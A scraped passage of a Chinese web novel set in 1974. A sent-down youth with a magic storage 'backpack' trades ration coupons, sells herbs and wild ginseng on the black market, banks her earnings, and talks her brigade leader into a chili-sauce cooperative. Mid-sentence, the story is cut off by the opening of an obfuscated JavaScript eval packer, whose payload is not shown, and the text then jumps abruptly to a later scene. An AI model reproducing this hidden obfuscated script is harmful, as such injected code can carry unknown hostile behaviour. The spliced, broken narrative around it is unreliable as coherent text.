这次给家里和大哥大嫂寄的东西主要是腊肉、腊排和黄精、山药。 腊五花一共19斤,给家里10斤,大哥大嫂9斤,腊排骨有23斤,给家里15斤,大哥大嫂18斤,熏猪头不太好弄,就全部寄给家里。 黄精这两个月攒了8斤,牛棚那边也有收获,攒了3斤,林见春打算把牛棚的一起算在内,直接给家里寄7斤,给大哥大嫂4斤。 山药攒了27斤,林见春也爱吃,所以给家里和大哥大嫂各寄了10斤,她自己留了7斤。 大头寄完,要拿去“小黑街”的就只剩草药和野山参了。 草药她这边一共5斤,牛棚晒的有4斤,野山参她有2支,全是“签到”所得,价格不太清楚,得先去问问情况再说。 边盘算边从邮局出来,林见春看时间差不多了,也顾不得再想“小黑街”,蹬着自行车赶去了粮站。 黄二姐找来的人就在办公室跟她一起嗑瓜子聊天,见林见春如约来了,其中一个婶子甚至有些激动地站了起来。 黄二姐拉了她一把,上前拉住林见春的手让她坐下。 “赶紧喝点热水暖和一下,我给你介绍这两位婶子。” 两个婶子都穿着工作服,一个是公社啤酒厂的付大娘,一个是公社罐头厂的刘大娘。 付大娘家里要嫁女儿,想要那10斤棉花票给闺女置办嫁妆,刘大娘家里则是要娶媳妇儿,得办彩礼、办酒席,之后还得准备回门礼,所以5斤肉票、5斤糖票、20张工业券打算包圆。 “林妹子,肉票的话咱们给算4毛一斤,糖票算5毛一斤,工业券给你算8毛一张!” 林见春知道家里东西不够的时候也会去外面换票,这个价格绝对不算低,所以黄二姐是真没糊弄她。 “好,就听黄二姐的。” “那行!” 有黄二姐牵线,这场交易双方都非常满意。 20块5毛入手,林见春和黄二姐一起把人送出门,这才说起了自己想买的粮。 牛棚攒的黄精被她寄给了爸妈和大哥大嫂,所以这次的粮票就全部买成粗粮,到时候问过方哥黄精价格再进行折算。 “59斤8两的粮票,真要全部换成粗粮吗?” “对。”想了想,林见春又顺嘴问了下,“黄二姐,你相熟的人有多的粮票吗?五六十斤怕是不够过冬。” “有啊!我们粮站就有不少富余的粮票,你想要多少?” 粮票不值钱,有黄二姐的人请在,这一斤的票顶多管她要5分钱,算下来买一斤粗粮也比在“小黑街”便宜不少。 “那黄二姐帮我补到100斤吧。” “成,这段时间的粗粮是9分钱一斤,100斤就是9块,补的粮票你给我2块就成。” 林见春道了一声谢,等临时工把粮食扛出来捆到车上,又给他拿了一把硬糖,这才跟黄二姐道了别,骑着车走了。 再去“小黑街”,车后座捆的东西已经换成了草药。 看到两大口袋草药,方哥也是非常惊讶,不过草药越多,他赚的也越多,自然不会把人往外推。 猴子手脚麻利的给过了称,方哥才带着林见春进去结账。 “一共54块。你这俩月全泡山里了?居然弄这么多来?” 方哥心想普通草药虽然常见,可这个量怕是山皮都掀了,不可能没点别的好东西。 林见春也说了实话。 “其实还弄了点黄精,不过家里人都得补,就全给拿回去自家吃了。说起来,黄精送到方哥这边能换多少啊?” “少说也能给够8.5一斤吧,不过如果都是一两年生的嫩仔,那价格就达不到了。” 牛棚给的黄精也都是多年生的,林见春心中有数,再把普通草药的价格一加,得了个49块5的总价。 差不多50块钱,全换粗粮的话能有300来斤,她“背包”里才256斤,还得从方哥这儿买点补上。 “那方哥给我拿44斤粗粮,钱从药钱里头扣。” “行。” 扣完粮食钱,林见春才说起了正事儿。 “方哥,野山参你有路子吗?” “啥东西?!” “野山参,多少年的不确定,但肯定不是这几年的。” 方哥跟看鬼似的看着林见春,好半天才开口,“得先看看年份。” 这就有点愁了。 她之前没敢跟陶文斌透露自己“挖”到野山参的事,自然也找不到靠谱的人帮她看年份,写信给三哥叫他跑一趟带去省城也行,可她这段时间太潇洒了,脑子里根本没意识到这个问题。 方哥也看她为难,想了想给出了个主意。 “你要是信你方哥,哥就带你去哥地方看看。” 也不是第一回往来了,不管大小物件、粮食杂货方哥都没糊弄过她,所以林见春还是信他为人的。 “那方哥等我会儿,我先去取东西。” “成。” 林见春绕了几圈,先去了一趟国营饭店。 粮票她全给用掉了,所以拿糖跟饭店的服务员套了套近乎,“借”了一点她手头富余的粮票,买了10个肉包、30个馒头。 离开国营饭店,又装模作样的去供销社附近转了几圈,给背篓放了1盒饼干、2斤白糖,这才带着2支野山参回了“小黑街”。 方哥手里也拎了东西,看起来像是糕点,林见春默默跟着他骑了一路,没想到最后是被带到了公社医院背后的一栋独院儿门口。 在公家的地盘投机倒把?! 不容林见春退缩,方哥已经敲开了独院的门。 出来的是一个穿着呢子大衣的中年女人,看穿着多半是单位的干部。 方哥说话前先笑着把糕点递了过去,中年女人不着痕迹地提溜了一下,才扬着下巴问他什么事。 “燕姐,这不是知道你手头还有给医院供货的配额吗?我家妹子在山里长大,这俩月寻摸到好东西了,这不,拿过来让姐掌掌眼,医院要是用得上,就交给姐看着办了。” 中年女人却是撇了下嘴,视线在林见春身上转了一圈,那意思就是“知道你说瞎话”。 不过求人办事,林见春也懂得低头,放下背篓先把饼干和白糖拿了出来,看中年女人目中满意,这才取了相对小一些的那支野山参递过去。 看到“好东西”是野山参,中年女人也愣了一下,之后脸色就好看了许多。 “还不错,15年左右的野山参,不过医院大概是不要的,你们兄妹要是信我,我就给120块买下,至于之后我怎么处理……” “嗐!都给了燕姐了,那就是燕姐的东西,我们指定不会多嘴。” “行。”说着就要掏钱。 林见春赶紧把另一支也拿了出来。 中年女人意味深长地看了她一眼,倒也没拒绝,接过这一支也给看了看。 一看不要紧,看过之后中年女人却是满眼精光都遮不住了。 “30年以上的野山参!不错!这支我能给到360块,你们觉得呢?” 多年份的野山参可遇不可求,市面上根本没有明确的定价,林见春听着只觉得多,可这事儿是方哥主导,所以她还是控制了嘴,看向方哥等他决定。 果然,方哥开口了。 “燕姐,老山参可是很难得的,这支参比我的年纪还大,真不给添点儿?” 中年女人定定地看着方哥,没多会儿,还是笑了,“行,给你个面子,这支老参我给你们拿480块,以后要是还能找到,记得先过来找我看过再说。” “那肯定的!燕姐大气,要给别人我还不信呢!” “成了,我进去给你们拿钱,身上没那么多。” 2支野山参直接换了600块钱,林见春也是第一次见这种场面,走远之后气儿才喘顺。 方哥却“忒”了一口,“这女人心真黑!也怪咱们没门路,不然少说还能多卖50。” 林见春倒觉得没什么,能一口气给出几百,那人情往来可不是50块钱能维持住的。 不过今天这事儿也是多亏了方哥,所以点了点数,林见春直接从里面抽了2张大团结递到了方哥手里。 “今天谢谢方哥了,不然我还不知道这参要跟谁换。” 方哥也不抱怨了,笑呵呵地收起钱,“妹子,你要不把钱存上?带着这么多钱,回去路上怕是得担惊受怕的。” 如果没有“背包”,林见春指定不敢揣这些钱上路。 不过方哥话都说了,林见春干脆也点了点头,“一会儿我就去存。” “行,今天再弄点儿肉回去不?哥留了2斤,你干脆拿走得了。” “不用,前几回买的肉家里都给熏好了,够吃过冬了。” 方哥好笑,但拿肉的动作也没慢,硬是拉着林见春的背篓给她装了进去。 两斤肉也就两三块钱的事儿,他今天露个脸就净赚20,相比之下是不算什么了。 “那就谢谢方哥啦。” “瞎客气!行了,我也不送你了,赶紧去存钱吧。” 爸妈给办的是农村信用社存折,全国各地的信用社都能用,今天反正要存,索性把“背包”里的钱全部清点一遍。 刨开野山参换来的580块,这段时间买肉,今天买手表、卖草药、换票,来来去去,之前的现钱还剩243块。 黄精是有小宝的份儿的,算算价格,起码得给徐三婶拿10块才够,这么一算,现钱还有813块。 800块是大整数,跟爸妈给的600块存到一起,现钱还能留13块应急。 做好决定,林见春就骑着车跑了一趟信用社。 存好钱,看着末尾细小的“1400.00”,林见春没忍住呲着牙笑了起来。 心里高兴,林见春蹬起车来也有劲儿,可惜还没出公社的街道,那冷风就刮得她的脸皮发木了,腾出一只手搓了搓脸,埋头猛冲,蹬到大队时手、脸还是僵得半天没暖起来。 院子里徐三婶正翻着干菜,看林见春一脸冷霜,连忙招呼她去灶头打热水洗洗。 林见春闷声应了,把提前准备好的10块钱塞给徐三婶,这才头也不回的进了灶房。 徐三婶愣了一下才反应过来她塞过来的是钱,急吼吼地追进灶房,还没开口,林见春就先说了钱的来历。 “我去公社的黑市把黄精换了,那黄精是小宝帮我挖的,能换到8块5一斤,给10块已经是我占便宜了。” “账哪是这么算的!” “哎呀,那我吃喝的账怎么算?婶子就收着吧,翻过年小宝就4岁了,再过两年就得读小学,多攒点钱好。” 徐三婶捏着钱的手一紧,嘴巴秃噜出来的话却生硬,“你不是说你来教他?” “我是教啊,可我管教不管发毕业证啊,到年纪了小宝能不去学校吗?” “……说什么你都有理。” 林见春“嘿嘿”一笑,把洗完手脸的水倒进废水桶,快步跑回屋去。 天冷了,之前意外获取的那盒雪花膏也能拿出来用了,不然这脸指定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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天冷了,下午收工也早,林见春看着时间已经差不多4点半,心想牛队长和吴村长应该已经在家了,结果吴村长倒是在,客套了一会儿转道牛队长家,家里却是一个人也没有。 林见春只能背着背篓在大队乱转,人没找到,她倒是快走近牛棚了。 林见春无奈叹气,心想过去瞄一眼也好,结果远远看见牛棚外面围了一圈人,顿时心里一紧。 该不会是陶大夫不好了吧? 林见春抿着嘴加快脚步,等再走近一些,才看到牛棚门口竟然停了一辆黑色的212。 难道是她帮忙寄出去的那封信终于有了回音? “林知青,这边儿!” 林见春正想得入神,闻声看过去,就见躲在人群里看热闹的武琪和冯悦正朝她挥手。 牛队长也在人群里,不过他毕竟是大队长,开着212过来的人还得他出面接待,所以也没分神来管他们这些看热闹的人。 “这是怎么啦?” 武琪嘴快,一听林见春发问就先半掩住嘴,小声跟她八卦。 “牛棚的老陶医生''摘帽子''了,这是专门从首都过来接他回去的。听说陶医生之前救过什么大人物,这回回去还会对冤枉他的人追责,估计得去农场劳改了……” 林见春没想到一封信的作用竟然这么大,小心打量搀扶着老陶大夫的陶文斌,见他表情很是动容,不像作假,心里也跟着松了一口气。 不管怎么说,老陶大夫的身体的确不适合在乡下过着贫苦的日子,回城之后多半也要养很久才能康复。 “林知青,你这两个月都没怎么干活,年底还能申请回城探亲吗?” 问话的是冯悦。 不过不等林见春回答,武琪已经先一步否定了。 “知青下乡当年是不允许请探亲假的,你和林知青都是今年夏天才来的,起码得明年过年大队才会给你们批。” “啊……” 林见春看她表情不对,问她:“怎么了?你想回家探亲?” “……”冯悦嘴巴动了动,过了会儿才小声解释,“秋收那会儿不是跟驻地的士兵相看过了吗……跟我聊得来的那个,前几天写信问我可不可以……可不可以……我得回去问问家里的意思。” 武琪险些没惊叫出声,好悬把自己嘴捂上了。 林见春也惊讶。 秋收时见第一面,之后一直通信交流,这才多久?两个人就决定走到下一程了? “那你是什么意思?愿意跟他结成革命友谊吗?” 冯悦脸一红,什么意思不言而喻。 “那你完全可以写信告诉他你的意思,等他那边打报告,再给家里通个信儿,如果他打的报告通过了,到时候大队应该会给你特批吧?” 由那位军人的领导出面,总比自己想办法回家通知家人好一些。 冯悦心神一定,红着脸点了点头,“那我一会儿回去就写信。” 林见春没想到自己半路跑过来看了个热闹,顺道还见证了一段军婚的历程,一时也是无限感慨。 好在牛棚的热闹没持续多久,开着212过来的人很快就带着陶老大夫离开了,牛队长驱散了看热闹的人,这才抱着小孙孙领着雪花婶走了。 林见春落后了一些,跟陶文斌换了个视线也若无其事地跟了上去。 进了牛队长家的院门,林见春直接把水果罐头拿了出来。 “牛队长,接下来2个月应该也没多少活吧?要还是这俩月这么松快,那我还照着前面那样请假哈。” “……” 牛队长气笑了,他是真没见过这么厚脸皮的小姑娘! “你是打算来年吃饭全靠家里接济?” 林见春低眉顺眼地叹了一声气,“我家里……大哥是军官,大嫂是老师,二哥是研究员,三哥也是励志成为考古学家的文化人,就我一个高中毕业,高不成低不就的,所以都希望我多读点书,万一哪天又能考大学了,我也不用干巴巴的望着遥不可及的工农兵大学名额啊。” 她这话可不算作假。 大嫂去了海城之后就考入了一所高中做语文老师,这个月寄了信来,随信一起送来的还有一张刊登了她文章的报纸。 二哥嘛,虽然不知道具体去的哪个研究所,可不管在哪儿,具体有没有职务,那个研究员的名头也是跑不掉的。 唯一夸大的就是三哥,可三哥说过,出门在外身份都是自己给的,他跟着废品站的老叔学,往大了说不就是研究历史、研究古物吗?跟考古学家也没差多少。 牛队长可没把她话往心里去。 “你是下乡支援建设的,成天躲在屋里看书,就不怕谁看不过眼举报你?” 林见春脑子里的警铃也响了。 牛队长这话的意思,怎么听着像是已经有看不惯她的人找他告过状了? 林见春又叹了一声气,“那怎么办?农活我也干不好,不然给我安排点别的活?咱们大队不是养了猪、羊?不然我帮忙打草、煮猪食?” “你想得还挺美,养猪养羊都是紧要活,猪那边是吴村长家的人负责,羊平时也有牛棚的人给打草,怎么着,你是能争得过村长还是比病弱的老人还无力?” “……那咱们大队有什么副业吗?” 这几个月她在乡下也不是白待的,像隔壁东湖大队,因为开办了肥皂厂,大队的社员就能到厂领一些糊纸盒的活儿来做。 牛队长直接给了她一个白眼,其意味不难理解。 为了能继续请假,林见春动起了脑筋。 厂子不是随随便便就能办起来的,一切手续都得去公社申请,再由公社上报,伸手朝县里要审批。 就算申请通过了,那厂子能做什么?做成的东西又怎么去谈销路? 这些才是开办厂子最需要考虑的问题。 东湖大队的肥皂厂也是下乡支援的知青提的意见,厂子能开起来,一是因为那位知青本身就懂肥皂的生产,二也是因为人家家里有路子,上下一打点,那厂子可不就开起来了吗? 可他们东旺大队又有什么呢? 知青里头多的是只会埋头干苦力的普通人,几个机灵的也没几分真材实料,尤其李春景这人,成天琢磨来琢磨去,也没瞧见琢磨出个所以然。 当然,她也是普通人之一,没能力、没路子,真要论起来,她甚至连李春景都不如,因为她连好话都不知道怎么说。 “……我先回去想想,指定给大队想一个能赚钱的副业。” “哦,那你想吧,想出来之前不准请假了。” “……” 21. 合作社(三合一) 晚上给牛棚送了粮,林见春带着满心幽怨睡了过去。 11月底冬小麦种植已经进入尾声,家家户户的要紧事儿其实也就给闲下来的农田种植绿肥,要么就是修整田地、撒石灰杀虫。 就算干不了多少正经活,空出来的地里也要种上过冬的萝卜和茼蒿,大蒜也得多种,吃不完的都可以交到公社粮站或者副食品店换点零花。 不过,虽然不让请假,林见春分到的活也只是帮着丢豆种,这活不需要什么体力和技巧,一到岗林见春就直接放空了脑袋,形如木偶跟在挖坑的社员身后撒豆种。 当然林见春也不是全然木愣,为了来年可以名正言顺的请假,她的脑子里也在不断思考大队社员能做的副业。 可惜她根本不了解社员的农闲生活,公社、县城的情况也不了解,一时还真理不出头绪来。 小农忙期间,知青还是实行上工3天休息1天的办法,林见春顶着刮脸的寒霜苦苦撑了3天,等第4天休息,硬是赖床赖到十点才起。 这么冷的天,林见春是不怎么想蹬自行车的,可不去公社就没法了解形势,所以苦兮兮地搓了搓脸,拿了手套围巾把自己包得严严实实才扶着车出门。 公社倒是热闹。 年底很多单位都发了福利,加上回家探亲的、办事的,供销社和粮站、国营饭店、副食品店都有很多人聚集。 林见春优先去了粮站找黄二姐打听消息。 黄二姐也很为难。 “咱们公社下头那么多大队,每年收的绿豆、胡豆多到囤积,我们粮站的干部也帮不上忙。萝卜、茼蒿倒是能帮你找点人,可我这边相熟的人也买不了多少,吃不下你们一个大队的。” 林见春挠了挠头,“那副食品呢?绿豆可以做糕点,萝卜也能腌。” “公社食品厂都是直接从我们粮站收的绿豆,根本吃不下那么多。腌萝卜家家户户都会做,公社每年拉那么多萝卜冬菜回来,自家随便做点儿也能吃段时间了。” 这下林见春是真愁了。 不用她找关系大队也能想法消掉一部分冬季作物,如果抓不到大批量需求,那她拉一阵关系也是白搭。 “那我再想想办法,谢谢黄二姐。” 出了粮站,林见春一时有些迷茫。 她对这些事实在不太了解,想来想去,也没想出半点儿主意。 不过都来公社了,不去一趟“小黑街”岂不是白跑一趟? 年底“小黑街”也是最热闹的时候,越是这种时候,方哥越是不敢松懈,只叫了林见春在门口说话,万一出了事他俩也能马上跑路。 “这次想整点啥?有羊肉,2块1斤,要不要?” 林见春一点儿没犹豫。 “弄2斤。” 她的“背包”里有1斤羊肉,因为不确定公社有没有羊肉卖,一直没找到机会拿出来,这回可算能拿出来了。 “其它的还要不?” 林见春想了想,一时也没别的需求,就摇了摇头。 “那你不用进去了,我喊人给你拿出来。” 羊肉得割了过秤,林见春就在门口等着,顺便跟方哥打听。 “方哥,你知道乡下要挣钱走哪条路子才算合规合法吗?” 方哥一时没懂,“路子?上回我带你去的那地儿就合规,不过那是借人家在医院的配额,一两个人借还成,多了她的配额也不够。” “不是。这不是入冬了吗?我们大队的婶子阿婆没事做,想挣点零花过年,但是家里多的粮公社也没地儿收,想弄其他的又没个路子,所以我想着找方哥问问。” 方哥托着下巴想了想,还真给出了主意。 “要是只想挣点零花,那私下做些糕点到公社来换也不愁换不出去,豆多的话弄豆腐也成,副食品店那点儿豆腐根本不够,要么就是腌菜啥的。再就是今年冬的白菜萝卜公社还没开始往回拉,也不知道能搞到多少,估计也紧俏,我能给你牵牵线,到时候多少都能换。” 林见春愁的就是牵线的人。 不过她更想要的还是一劳永逸的供给,总不能今年做了,明年还得重新牵线,那开春之后所有人都要下地,牛队长能让她搞特殊请假吗? 但这话也不好跟方哥说明白,所以林见春还是道了谢,只说先回大队问问婶子阿婆。 “行,年底风声紧,你也少往我这儿来,有事你就到八旗街找牛虻子,把信儿留给他,叫他过来找我。” “好,谢谢方哥。” 回了大队,林见春直接把3斤羊肉放进了灶房,没瞧见徐三婶和小宝,屋门也关得严实,只能先回自己屋拿了本书。 可心里藏着事,思路也是断断续续的,碰上难题也解不出来,只能暂时放弃,拿了笔在本子上写写画画。 虽然方哥给的法子是暂时性的,但绿豆糕、豆腐都能做起来,能换一点是一点,腌菜的话也得等大队的萝卜和白菜种好才能做,到时候试试味道,再找方哥定价拉线。 其他的还能怎么做呢? 如果方哥拉的关系吃不下整个东旺大队的产出,她要写信找找三哥在龙塘想想办法吗? 可方哥也说了,年底风声紧,在公社都不敢大张旗鼓地做买卖,更别提龙塘一个县城了,到时候拖累了三哥可不好。 想不出办法,本子上也只画了一页杂乱的线条。 算了,还是先去跟牛队长说说方哥牵线的事儿。 林见春收好书出门,才走到院门口就见徐三婶背了一大背篓红彤彤的辣椒,跟在后面的小宝也背了小半背篓,一路走得“哼哧哼哧”的。 林见春赶紧上去把小宝的背篓接了过来。 “怎么弄这么多辣椒回来?” “今年收的胡豆还剩不少,这批红辣椒收回来刚好可以腌点儿豆瓣酱,再剁点辣椒水。” 刚到大队时林见春也吃过徐三婶做的豆瓣酱,味道确实不错,不过辣椒水她没赶上,这次剁好了正好试试口味。 “那我帮你洗。” “嗯。” 一背篓辣椒是不够的,林见春在院儿里淘洗,徐三婶又去外头换了几背篓回来,看着像是要把一年吃的量全给备上。 林见春也不好说啥,毕竟豆瓣酱她要吃,辣椒水她也要尝,这俩东西耐烦,多弄点也能吃久点儿。 等做起来,林见春才知道豆瓣酱一时半会儿的也吃不上,辣椒水倒是剁了腌一腌就能吃。 林见春连着几天给徐三婶打下手,满鼻子都是辣椒的辛味,光闻着就下饭。 “婶子,辣椒水有多的吗?我能不能换点给我家里寄过去?” 大哥大嫂都是吃惯了辣口的,海城那边口味清淡,有辣椒水也能吃得香点儿。 徐三婶干活的手一顿,头也没抬,“这些就是给你做的,等腌好了你自个儿看着安排。” 林见春实在惊讶,看着坛里装好的剁辣椒一时没能说出话来。 大队社员一人也就能开个几分自留地,徐三婶家人少,拢共就开了四五分出来,这回收的辣椒多是她自掏腰包从其他家换的,本以为是做了放着来年好吃,结果全是给她家做的? 林见春心头又酸又软,脑子突然一闪灵光,想到了一个绝妙的办法。 “婶子!豆瓣酱和辣椒水是不是大部分婶子阿婆都会做?口味跟你做的差多少?” 徐三婶一下没反应过来是怎么回事,不过她问她就答,别的想也没想。 “一个大队的,手艺都差不多,不过我给你弄的这些有一坛是放了油的,吃起来更香,其他人也会做,只是愿意放油的不多。” “嗨呀!那可巧了!” 林见春也等不了其他了,三两下把手冲干净就冲出了院子。 风风火火地冲到牛队长家,牛队长刚好带着小孙儿在院子里溜达。 “林知青,这么着急做啥?” “哈哈!牛队长!我想到办法啦!” 牛队长没怎么当真,跟逗自家孙子似的笑问:“什么办法?” “咱们可以不办厂,但是得队长你去公社卖卖惨开个条子,直接在村里弄个副食品合作社。” 话在脑子里一转,牛队长也正经了起来。 “具体说说。” 林见春进了院子,自己找了个小板凳坐下,等喘匀了气才一气把话说了。 “咱们省内可以说是家家户户都吃豆瓣酱和辣椒水,这两样做起来容易,大队的婶子阿婆基本都会做,咱们可以弄个小作坊,统一一下做法和口味,等做成了,再以合作社的名义往公社供销社、副食品店,甚至南兴县城推销。” 个人买卖都是投机倒把的错误行为,GWH监管严格,超过一定的量带头的人指定被判去劳改甚至吃花生米。 但合作社就不同了,那是过了明路的,只要有条子就能跟国营的单位合作,到时候挣的钱都归到大队,再像公分一样按劳分配所得。 牛队长也认真的考虑起来。 “你也说了,连咱们大队的婶子阿婆都会做,那城头的人多半也是会做的,又不是所有城里人都有正经工作,真弄了作坊,那些东西卖不出去岂不是白白抛洒?” “嗐!咱们第一批少做一点呗!只要公社给批,大不了卖不出去了再去公社求人,亏肯定是不亏的,但要是真能赚钱,咱们马上就可以开始做第二批。” 豆瓣酱需要长时间发酵,但辣椒水、剁椒酱却只需要很短的时间,完全可以在第一批销售情况出来之后再加急出第二批。 牛队长木着脸盯了她一眼,“你当我这嘴是开了金光的,随便求一下公社就能答应?” “哈哈哈!大不了带着铺盖卷去公社门口睡,只要牛队长你放得下脸,不怕公社干部不同意。” “……” 林见春看到牛队长脸上写满了“福气”,趁人发火前站起来就跑。 “大队长你就先去讨个审批吧!我让徐三婶帮忙先弄点儿出来去公社问问熟人,她们要是看得上,估计真做出来了拿去公社也会受欢迎的!” 得亏她跑得快,牛队长扔去的鞋底子才没砸到她。 背着手哼着歌回了徐三婶家,林见春决定先把第一批拿去找黄二姐,再给家里寄点儿,让三哥也想想办法。 实在不行还能往海城寄,毕竟驻地可不是只招本地军人,军属也是来自全国各地,总有一部分能吃辣的吧?到时候大哥大嫂给推荐一下,指定能销出去。 万事俱备,就看牛队长能不能把批条办下来了。 想出了办法,林见春就心安理得的请假了。 这段时间山上霜重,东西也不好找,林见春就不打算再上去刨土,直接在家跟在徐三婶背后打转,这才发现她早些时候就已经腌上了霉豆瓣,现在剁了辣椒,直接和油一混搅匀就装上了坛。 刚酵上的豆瓣也香得很,等一个月开坛,那味道恐怕比她爸弄的好吃多了! 豆瓣酱酵了2大坛,剩下的辣椒水也够剁个2坛。 就是徐三婶做的辣椒水并不是单纯的剁了加油,而是备上了姜蒜末、盐、白糖和白酒,油也是煎熟了放冷才加。 这分明做的是剁椒酱,已经超脱辣椒水的范畴了。 林见春挠了挠下巴,躲进屋里假装拿东西,从“背包”把剩下的4斤白糖、4斤油、6斤盐全拿了出来。 徐三婶很有分寸,屋子有人借住,她和小宝就再也没进过那间屋,所以林见春从屋里拿东西出来,她也只当这是她之前就存在屋里的,没当回事。 而且这次徐三婶也没出言推辞,毕竟那么多辣椒,想要味道做到最好,她那点儿东西确实不太够。 “可惜我没买过酒,婶子你那些酒够用了么?不够的话我明天跑一趟公社。” “够了。” 东西够了,林见春就不操心了。 不过前段时间都在山上“签到”,油盐糖这些日用差不多快耗干净了,看来接下来还是要把目标放在吴村长家,有好东西最好,没有的话弄点日用也行。 等了7天,徐三婶做的剁椒酱总算可以开坛了。 撕开密封油纸,喷鼻而来的是浓郁刺激的辛香,徐三婶用筷子挑了一些试了试味,下一秒就满意地点了点头。 林见春也看得心热,重新拿了一双筷子过来试味,刚一沾上舌尖,那种难以言表的丰富味道就瞬间充斥在她的口腔。 “这也太好吃了!” 徐三婶难得笑了起来,扭头就去找之前烫过晾干的小坛子来分装。 2坛剁椒酱少说也有40斤,徐三婶没买太多小坛子,所以这次只装了5坛,一坛2斤的量。 “你看看先给家里寄还是怎么弄,回头再去公社多买点小坛子。” 林见春却想着这么好的味道肯定得让牛队长尝一尝,最好能厚着脸皮带去公社让公社干部也试试味儿。 只是东西是徐三婶做的,这事儿要做也得先跟她透个气。 “我跟牛队长准备办点事儿,这5坛我先拿1坛给牛队长,另外4坛明天去公社给家里寄。” 一坛2斤的量也是很可观的,所以4坛她打算爸妈那儿寄2坛,另外2坛寄到海城去,先给大哥大嫂做做铺垫。 “行,你看着安排吧。” 林见春没耽搁,抱起其中1坛就去了牛队长家。 这两天绿肥也种的差不多了,牛队长也闲了下来,林见春抱着东西一进院子就提公社,问得牛队长当场就黑了脸。 “你当公社是我开的?这几天我连干部影子都没见着。” “所以说大队长还是拉不下脸啊!这都7天了!我婶子做的剁椒酱都出坛了!” 林见春把坛子递了递,叫牛队长自己去拿双干净筷子来试味道。 牛队长也是记挂着大队的副业,心里没觉得不高兴,顺应地拿了筷子来。 跟林见春一样,他刚尝了一口,私心就断定了这东西不会卖不掉,可还是那句话——难! 公社并不是谁的一言堂,一个公社下面那么多大队,如果每个大队想做副业挣钱都去找公社干部,那这些干部每天就光见他们这些泥腿子就够了,哪儿还有时间去干其他工作? “哎呀!队长你就听我抱着被子去公社门口守着!那些干部早上得去上班吧?下班了得回家睡觉吧?你一直在门口,他们不可能为了躲你每天都翻窗户上下班吧?” “……” 看牛队长一脸纠结,林见春立马加了把火。 “这几天我算过账了,30斤辣椒、10斤油,再用2斤白糖、4斤盐、2斤多点姜蒜末,合起来成本21块,能做成40斤剁椒酱,到时候40斤分20坛,咱们一坛直接卖4块!20坛就是80块,净赚59块!” “我婶儿一个人一天下来轻轻松松能剁出30斤辣椒,再腌个7天,倒手就是59块钱的利润!而且这7天又不是干等着什么也不干,那就是源源不断的利润,队长你真不心动吗!” 林见春想说在这么大的利润面前脸面根本不是回事儿,真做成了,整个大队都能带着富起来。 “而且我还没算豆瓣酱呢,豆瓣酱炒菜、下饭都可以,胡豆单卖可不值钱,到时候大队收的胡豆直接拉来全给腌成豆瓣酱,就比着剁椒酱卖,那利润也是非常可观的!” 牛队长的脑袋被她这笔账算得嗡嗡的,木着脸反驳,“自家就能做的东西,人凭啥花4块买你做的!” “凭咱们放了油,放了糖!凭咱们味道好!凭咱们1坛2斤够吃俩三月!好,就算4块真定贵了,那3块呢?单1坛利润也有差不多2块了,这么低的价格还是没人愿意买吗?实在不行就论斤称,自己带坛子瓶子,我们可以给便宜2毛钱。” “队长!城里工人一个月工资普遍30块到50块,3、4块钱的东西,摊下来一个月也就一两块,人买根儿牛奶冰棍也得3毛钱了,比起来不还是咱们卖的酱划算?” “……” 林见春今天说这通话简直超常发挥,见牛队长明显意动,她也着实松了一口气。 “好啦,大不了我陪大队长去公社蹲大门,如果他们不同意,我们完全可以承诺给公社20%的利润,公社创收,公社干部能拿到的节礼、福利也更多,说不定还会因为拉动公社经济得到上级表扬呢!” 牛队长是真实心动了。 公社的那伙子人他也不是头一次打交道,所以知道事儿不好办,可财帛动人心是自古传下来的真理,20%的利润可不低,真让出来,那伙子人应该不会拒绝。 “成,那我们马上就去公社,我没这个时间去过,说不定能堵到人。” “……等下,我先写两封信。” “干啥?” “我找门路卖剁椒酱!” 信里也不用写得太明白,三哥那儿就让他抽空跑一趟大队,正好她过年也回不去,大哥大嫂那边就只说让他们尝个味道,等之后确定能供应了再找机会说清楚。 把信揣上,林见春和牛队长在大路上碰了头,各骑了一辆车,背了背篓分放剁椒坛子。 一路骑得飞快,等快要到公社办公点时,牛队长鸡贼地拉了毛巾蒙了半张脸,就这么在角落里盯着大门。 林见春还要寄信,就先把剁椒坛子挪到了自己的背篓里,怕颠着就一路扶着车去邮局。 土坛子不比玻璃坚固,陶瓷缸又没法做到密封,所以这次寄出林见春也没特意换盛具,只在外面多裹了几层蛇皮口袋死死缠住。 好容易把东西寄了,林见春赶紧回办公点外头找牛队长碰头,结果刚过去就看到牛队长在门口跟一个三十几岁的女同志说着话,而女同志手里就抱着那坛准备拿给公社干部试味的剁椒酱。 光看表情,女同志应该是挺满意的,等牛队长比了个“2”的手势,她的表情兴味更甚。 事情谈到一半,林见春也不好往上凑,干脆就在角落里等着,没多会儿,那女同志就抱着坛子进了门,牛队长站在门口没动,也不知道是在等结果还是直接等批条。 等人等得无聊,林见春就开始放空,脑子里不停演算最近几天看过的习题,这样一来时间自然过得飞快,她甚至连牛队长什么时候过来的都没注意到。 “想什么这么入神?” 林见春“嘿嘿”一笑,顾左言他,“批条办好啦?” “差不多吧。” “啥叫差不多,办好了就是办好了,没办好咱们就继续蹲。” 牛队长白了她一眼,把批条甩到她眼前,“公社干部给开了一年的批条,要是一年做不出成绩,后年就不让做了。” 林见春接过批条一看,果然,上面批注了“1974年12月1日起暂行东旺大队生产合作社,为期一年”的字样,批条上还写明了做成的剁椒酱、豆瓣酱可以送到公社副食品站代为售卖,1坛2斤的规格定价3.8元一坛,散卖1斤定价1.8元,不要粮票,最终收益统一到年底核算,予以公社20%利润。 “那也不错,回去就让大队的婶子阿婆都忙起来,刚好还有一个月的时间,剁椒酱能做不少,豆瓣酱来不及了,就先做一批剁椒酱试试水。” 事情定下,牛队长一回大队就叫了各户的主事人在打谷场开会。 要办生产合作社,大队的社员肯定全都想参与,但整个大队就那么大点儿地盘,第一批东西也只是先试一试的,所以讨论下来,46户投票选出了10户,每一户出1个人。 当然,这10个人后续不参与农活,相当于换个地方挣工分,等年底再和大队收入一起算账按总工分分配。 牛队长这主意相对公平,只是他这打算压根儿没考虑知青点的人,事情商量到尾声,李春景为首的几个知青就站出来发出抗议。 “大队长,我们也是大队的一份子啊!为什么投票不把我们一起算在内!” “就是!牛队长这是不把我们知青当自己人!” “我们也要参与竞选!” 